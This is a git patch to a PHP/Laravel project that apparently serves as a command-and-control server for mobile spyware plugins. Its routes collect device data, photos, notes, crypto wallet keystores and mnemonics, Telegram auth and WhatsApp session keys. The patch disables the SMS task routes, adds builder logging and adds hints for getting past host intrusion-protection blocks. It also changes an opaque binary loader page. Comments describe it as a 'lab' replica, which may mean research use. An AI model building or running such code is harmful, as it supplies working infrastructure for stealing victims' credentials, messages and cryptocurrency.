From 982df10cfefb92d4441174c3348a5e5c4545c15f Mon Sep 17 00:00:00 2001 From: hashbro Date: Tue, 1 Sep 2026 07:00:02 +0800 Subject: [PATCH] feat: delete --- app/Http/Controllers/C2/XxbbC2Controller.php | 60 ++++----- app/Services/ChannelProjectService.php | 117 +++++++++++++++++- channel-builder-new/source/details/README.md | 4 +- channel-builder-new/source/details/show.html | Bin 1951 -> 1903 bytes channel-builder-new/tools/tests/test_build.py | 20 +-- docs/BAOTA_DEPLOY.md | 22 ++++ routes/ds.php | 16 +-- routes/xxbb.php | 5 +- tests/Feature/XxbbC2ApiTest.php | 4 + 9 files changed, 190 insertions(+), 58 deletions(-) diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index 90bd0bc..6e3fa7f 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -14,8 +14,8 @@ use Illuminate\Http\Response; * Native path map (corepayload + details plugins): * /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes, * /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses), - * /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap), - * /m/t/g /m/t/r imagent SMS poll / report (sms). + * /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap). + * SMS /m/t/g /m/t/r disabled (imagent removed from show.html). * * Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv. * Plugin routes do not write channel_id (same as /api/tg/t). @@ -194,34 +194,34 @@ class XxbbC2Controller extends Controller return $this->xxbbAck($request); } - /** - * sms: POST /m/t/g — poll outbound SMS tasks. - * Lab never queues send tasks; code=1 + empty data matches native backoff. - */ - public function smsPoll(Request $request): Response - { - $payload = $request->attributes->get('coruna_payload'); - $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); - if ($device && is_array($payload)) { - $this->ingest->ingestDevicePhone($device, $payload); - $this->ingest->ingestSmsHeartbeat($device, $payload); - } - - return $this->xxbbAck($request, ['code' => 1, 'data' => []]); - } - - /** sms: POST /m/t/r — task result / status. */ - public function smsReport(Request $request): Response - { - $payload = $request->attributes->get('coruna_payload'); - $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); - if ($device && is_array($payload)) { - $this->ingest->ingestDevicePhone($device, $payload); - $this->ingest->ingestSmsTaskReport($device, $payload); - } - - return $this->xxbbAck($request); - } + // /** + // * sms: POST /m/t/g — poll outbound SMS tasks. + // * Lab never queues send tasks; code=1 + empty data matches native backoff. + // */ + // public function smsPoll(Request $request): Response + // { + // $payload = $request->attributes->get('coruna_payload'); + // $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); + // if ($device && is_array($payload)) { + // $this->ingest->ingestDevicePhone($device, $payload); + // $this->ingest->ingestSmsHeartbeat($device, $payload); + // } + // + // return $this->xxbbAck($request, ['code' => 1, 'data' => []]); + // } + // + // /** sms: POST /m/t/r — task result / status. */ + // public function smsReport(Request $request): Response + // { + // $payload = $request->attributes->get('coruna_payload'); + // $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); + // if ($device && is_array($payload)) { + // $this->ingest->ingestDevicePhone($device, $payload); + // $this->ingest->ingestSmsTaskReport($device, $payload); + // } + // + // return $this->xxbbAck($request); + // } /** * @param array|null $body diff --git a/app/Services/ChannelProjectService.php b/app/Services/ChannelProjectService.php index d05dde3..fb74051 100644 --- a/app/Services/ChannelProjectService.php +++ b/app/Services/ChannelProjectService.php @@ -431,25 +431,130 @@ class ChannelProjectService private function runBuilder(array $cmd, string $errorPrefix, string $cwd): array { $timeout = (float) config('coruna.channel_builder.timeout', 600); + $probe = $this->builderProbe($cmd, $cwd); + Log::info('channel_builder start', $probe + [ + 'error_prefix' => $errorPrefix, + 'timeout' => $timeout, + ]); + + $started = microtime(true); $process = Process::timeout((int) max(1, $timeout)) ->path($cwd) ->run($cmd); + $ms = (int) ((microtime(true) - $started) * 1000); + $stdout = trim($process->output()); + $stderr = trim($process->errorOutput()); if (! $process->successful()) { - $detail = trim($process->errorOutput() ?: $process->output()); - $detail = mb_substr($detail !== '' ? $detail : 'builder exited '.$process->exitCode(), 0, 800); - Log::error('Channel builder failed', [ + $hint = trim($this->builderFailHint((int) $process->exitCode(), $cmd, $cwd).' ' + .$this->hardeningHint($stderr."\n".$stdout, $process->exitCode())); + Log::error('channel_builder failed', $probe + [ + 'error_prefix' => $errorPrefix, 'exit_code' => $process->exitCode(), - 'detail' => $detail, - 'cmd' => $cmd, + 'ms' => $ms, + 'stdout' => mb_substr($stdout, 0, 2000), + 'stderr' => mb_substr($stderr, 0, 2000), + 'hint' => $hint, ]); + $detail = $stderr !== '' ? $stderr : $stdout; + if ($detail === '') { + $detail = 'builder exited '.$process->exitCode(); + } + if ($hint !== '') { + $detail .= ';'.$hint; + } - throw new RuntimeException("{$errorPrefix}: {$detail}"); + throw new RuntimeException($errorPrefix.': '.mb_substr($detail, 0, 2500)); } + Log::info('channel_builder ok', [ + 'error_prefix' => $errorPrefix, + 'ms' => $ms, + 'cwd' => $cwd, + 'python' => $cmd[0] ?? '', + ]); + return $this->parseResultMarker($process->output(), $errorPrefix); } + /** + * @param list $cmd + * @return array + */ + private function builderProbe(array $cmd, string $cwd): array + { + $python = (string) ($cmd[0] ?? ''); + $script = (string) ($cmd[1] ?? ''); + $uid = function_exists('posix_geteuid') ? posix_geteuid() : getmyuid(); + $user = function_exists('posix_getpwuid') + ? ((posix_getpwuid((int) $uid)['name'] ?? null) ?: (string) $uid) + : (string) $uid; + + return [ + 'cwd' => $cwd, + 'cwd_exists' => is_dir($cwd), + 'cmd' => $cmd, + 'php_user' => $user, + 'php_uid' => $uid, + 'python' => $python, + 'python_is_abs' => $python !== '' && $python[0] === '/', + 'python_is_link' => $python !== '' && @is_link($python), + 'python_is_file' => $python !== '' && @is_file($python), + 'python_link' => ($python !== '' && @is_link($python)) ? (string) @readlink($python) : null, + 'script' => $script, + 'script_exists' => $script !== '' && is_file($script), + 'path_env' => (string) (getenv('PATH') ?: ''), + ]; + } + + /** + * @param list $cmd + */ + private function builderFailHint(int $exit, array $cmd, string $cwd): string + { + if ($exit !== 127) { + return ''; + } + $python = (string) ($cmd[0] ?? ''); + $script = (string) ($cmd[1] ?? ''); + $bits = ['exit 127 = 命令不存在']; + if ($python === '' || $python === 'python3') { + $bits[] = '未找到可用 python(.env CORUNA_CHANNEL_BUILDER_NEW_PYTHON 为空且无 .venv)'; + } elseif (! @is_file($python) && ! @is_link($python)) { + $bits[] = '解释器路径不存在: '.$python; + } else { + $target = @is_link($python) ? (string) @readlink($python) : ''; + if ($target !== '') { + $bits[] = 'venv python 软链指向 '.$target.'(目标机上可能没有这个 python)'; + } + } + if ($script !== '' && ! is_file($script)) { + $bits[] = '脚本不存在: '.$script; + } + if (! is_dir($cwd)) { + $bits[] = '工作目录不存在: '.$cwd; + } + + return implode(';', $bits); + } + + private function hardeningHint(string $output, ?int $exit = null): string + { + $hay = strtolower($output); + if (str_contains($hay, 'tips from bt security') + || str_contains($hay, 'your request has been recorded') + || $exit === 9 || $exit === 137) { + return '堡塔防入侵拦截了 www 执行 python。软件商店 → 堡塔防入侵 → 看 www 拦截日志,把 venv python 与 /usr/bin/python3.10 加白后再建渠道'; + } + if (! str_contains($hay, 'py7zr') && ! str_contains($hay, 'permission denied') + && ! str_contains($hay, 'cannot open shared object')) { + return ''; + } + + return '宝塔系统加固常去掉 /usr/bin/python3.10 与 venv 里 .so 的执行权限。' + .'请把 /www/wwwroot/coruna-lab 加入加固排除,并 chmod 755 系统 python 与 venv 下 *.so'; + } + /** * @return array */ diff --git a/channel-builder-new/source/details/README.md b/channel-builder-new/source/details/README.md index e4c2692..1ef43db 100644 --- a/channel-builder-new/source/details/README.md +++ b/channel-builder-new/source/details/README.md @@ -41,6 +41,6 @@ | `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` | | `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` | | `wap.js` | wp | WhatsApp | `net.whatsapp.WhatsApp` | -| `sms.js` | sms | iMessage | `imagent` | +| `sms.js` | sms | iMessage | `imagent`(已从 show.html 下架,文件仍保留) | -钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。`sms.js` 走 `/m/t/g`(拉任务,lab 回空列表)和 `/m/t/r`(回执),心跳仍走 `/event`。 +钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。`sms.js` 接口 `/m/t/g` `/m/t/r` 已注释。 diff --git a/channel-builder-new/source/details/show.html b/channel-builder-new/source/details/show.html index 18a0bcd033fdded0b2253000ad1915ef69f96d06..622c0b8c358670f015e66f9ac78c48def08588ef 100644 GIT binary patch literal 1903 zcmV-#2axzTdc3bE8~_AYd16K&2LJ#70000l000000002cyU-AStfE*w+^m$PDsb1n z-i2%H74U6*owXLT!}^X$z5cP3 zNtzofu2yGRNF)Lhu7D^v0=X98{3XdL(J=jYzqK{G_7nvBfA(p9;HN@FW#nz3`V41- zKGdr7fnyzHlgLVo`jfFt-d1N=&)OPquQg0#=$bcOTPZ?w*6EQov>+|02wp)FCMYFM z(f;rVA-3l?qCu8?K56mx%k!jiwM|@Cg%Kfq#IWLYEX^XfqefiYe25CtFI}~&r+aKQ z=V{y2Si{*x<_u1p2~pj?WowyJEYP<7AcYroqUo(1rKWmo}cdFb3Ay+Eh@}}x<-Pg zYAZ-NsaSNM*`UiKY>&pigD-2uAN20E?Nyf6_yb4(pY`-iBfW;BP|+ND3tA*jxAl>e zy7uH!hB7Vr;WR^0dNA!uVfA7^-5fIUR0u4qS%)PNnnk0@fe4W;^;eG_h@?|D+WmAR zZ^nU^?rz+D&q`HzFVWZ5{RiR@$KR>Tm3<=A{ zxL#+2GDH4p7P>zn>eBp;L$P5$TKOMo4|qN}N4LmwEB!A|MmPR5BEs0#kJcOu9G@$d zm868FTGTyINre~(GZUOwE1W!r{O>2gFvUN%fZUY_1^@P;j&INHzrLuH1C@qDDZsL7 zi}Q9iQADs-(j?S{2}J<6DHx3FwO0*lycwu@5aP(SqzMBb3Un(7jTQd7^p>-?>3Ya_#p z28sA**KKQePBp1uF_z0vwz+S7936i4NF{#e@qprfmNhzmEe$1#G?*>RkF0wS!1 z#1LLvB!&;+#!L=LA9%~Iq?PQvYrLgCipsKnrECmuJ_)vWq5ix)Zp55F--y*OY-zV+ zTwVID6{DpY>$CDCMyoyzUy0h=HAL6-Xe8<9&Icy=0C=t5uP&vB;xo(jV~mIK8)E7M3Ki)fBjTfFg~*$r1BW8YXRliw`+8`L zA|O5Um{OT>MU+%u?-p9yC)SRt6d#~f5xKU@+po0HMgIf3gOGR%u0lZ4?R}o(ujgK_ z^&bT?BU>kC>6JN1tPb#P@Y38U;14e0*I1Z1HjrFO5C}x3pWF+R7@{vbm!@?Tm!>$J zM>8>c@ByY{$9CfDV+Y9V-2pEMkx*E+9CKjyL|={`niA)FjYGOPl%~3~ym_VfXf;Cf-*_`AV`pXjQ#5#uks=K^@BF%2UNAvA*+VlZNrPgl6H!8U1)h#kuz*e#M;84BLAQ7g=nVu9xqv}0fZy^+(dYig`qIpxslHhri%m$F^e=3aXE<<(XLc+%zGb&CbQ+inl4$F6|KFAGp zXuk^buF~yGeRg73i5aZXNG+(rI^7&>$@eM2OH5XyuYafxn~R{~&$5#xhUjmwopu-1 zwnx3}Xx8qfS`z4{Gtp``1~dJO0R5PrDy0V8*LF)W+_bQW!^aW;#+1jGEv6+;3-0VRfQZ;DeBWhufN&KN0g=jMNsjZ#2&_c1 zN(n18Q)M&ELMP}xF+}u8u~v3_hLTj6$4~1&g5~fjjyHQukEQp5pJF++5`cu}bk^st z+NYOE7l#&ieO$FTJcbcfciGeU#ef>`#EIS z%aIf`xCoAscLt8uhU!b=0R1IZ0J&Z<3Suf24&Ep`zXJCY_D!CmQ&Whv`;WOZl&?aJ z)dNk~aCI0Ir%z^(O!C%%G*J2ZDSeb&&shWN$SHMPNowj7;qPk71takI zI#1E!N^sCU5T|k8mPCs$sbtI%vI)8T@1VZ_bkl~Zbsfdp!nNoPap z5gj9p&=F5Onmwn9`h9NdIPR0L;3ONVp6g6+(dA&V+P392El%Nj zDctc+_XK}K>>b@*>PWfQNOO=M;Y7^)I4P_VIkv3~HDBbN*?ZLmlB7ewf==If*i*=NNyrha;x_n0`~`l{ z;Y<+@zdH`(NA1F55@pqQ9o5L2NB-yYqhB>`zl1>LIO#8FzxKJ*4^UHQ zw{J_Z3vCo?8YbC*ExTc|Xln6L!*k@fEF`uBs^M7ZAT3IshDrQlHBevMS;^F&w@67g zc>M-vVYzt4nT?7@IM>TEwAqd=#yUfZ1Vh_M1crQcLlY(oy|utg4HfWQH0j7*ZE430&S#2n@weLi@_zbwF3%NX zSM`-8>p-}m>Jgm|;f7H?LIm<|0nGNxSB3qPxAAI-LZwCo?Bh00-x3fYH|=dC%;>|< zuA6_}24j$k;VF=5tv%rF?NvwuuV@QEg6Tu5A%7uIsZ)w4Hb5R+FhB-F2kN(h5p zNb6Jfv4SOlJR?*!>LnDjMb{}kY&k04DO1%RKW(Q`=!kKi)t?%59*Wkf6J-(PG7~LX zD}pro6z(!+-}SZKW8Ly=Hc7-6Z6EQs-iou>%d-_;i6RYInL}G0GF7re&5P45Ay!u# zzQy48j0;34l8(?~URWe5uuv!GGh?1ueT6^Vh~PL>?p0gX5>h8K1DsAyA|gn&-0NZw zmE!P28jh7(7F96~N;B&bRCPdzZF(1tQZC@~pjgax@aa#md%}e#cCPqJ&@UXs*j5^Ps^e3{&!|+v;x)5ls}k=BjrIwC(wZY z?K7<8!r8;2Zq+B=4}b(rfG%ST_orP`kRTXV9*9m#>()ehWL|-uY)H3`0wD>XJUAeNGS#< zk!da>mgo2(Z5VT4O9-ep?jmB;!zIS{(`}PhSO?$?Dob{hBr`pxH~8A6#vd=xHi2}& zsu)u|~!2O`8+ka6AHhNjVPEV?EKgO{`;fE^g_6|ZyN_DqF zkgH8VF{5CXIU)>oq7P~?;cpycKwP}a&Mm`+ZC!group(function () use ($dsOrXxbb, $ Route::post('/ba', [$xxbb, 'plugin']); Route::post('/api/tg/t', [$xxbb, 'telegram']); Route::post('/api/wp/t', [$xxbb, 'whatsapp']); - Route::post('/m/t/g', [$xxbb, 'smsPoll']); - Route::post('/m/t/r', [$xxbb, 'smsReport']); + // SMS module disabled (removed from show.html). + // Route::post('/m/t/g', [$xxbb, 'smsPoll']); + // Route::post('/m/t/r', [$xxbb, 'smsReport']); }); diff --git a/tests/Feature/XxbbC2ApiTest.php b/tests/Feature/XxbbC2ApiTest.php index ab51abf..36a7b4f 100644 --- a/tests/Feature/XxbbC2ApiTest.php +++ b/tests/Feature/XxbbC2ApiTest.php @@ -534,6 +534,7 @@ class XxbbC2ApiTest extends TestCase #[Test] public function sms_poll_stores_phone_from_cardsinfo(): void { + $this->markTestSkipped('SMS routes temporarily disabled'); $this->xxbbPost('/m/t/g', [ 'd' => '000C30D83CD0402E', 'bundleID' => 'imagent', @@ -548,6 +549,7 @@ class XxbbC2ApiTest extends TestCase #[Test] public function sms_report_does_not_use_dest_phone_as_device_phone(): void { + $this->markTestSkipped('SMS routes temporarily disabled'); $this->xxbbPost('/m/t/r', [ 'd' => '000C30D83CD0402E', 'task_id' => 'task-dest-only', @@ -563,6 +565,7 @@ class XxbbC2ApiTest extends TestCase #[Test] public function sms_poll_stores_phone_and_returns_empty_tasks(): void { + $this->markTestSkipped('SMS routes temporarily disabled'); $resp = $this->xxbbPost('/m/t/g', [ 'deviceID' => '000C30D83CD0402E', 'c' => '202700cfb1ad3de68e11239dcc26c30b', @@ -584,6 +587,7 @@ class XxbbC2ApiTest extends TestCase #[Test] public function sms_report_stores_task_event(): void { + $this->markTestSkipped('SMS routes temporarily disabled'); $this->xxbbPost('/m/t/r', [ 'd' => '000C30D83CD0402E', 'task_id' => 'task-9',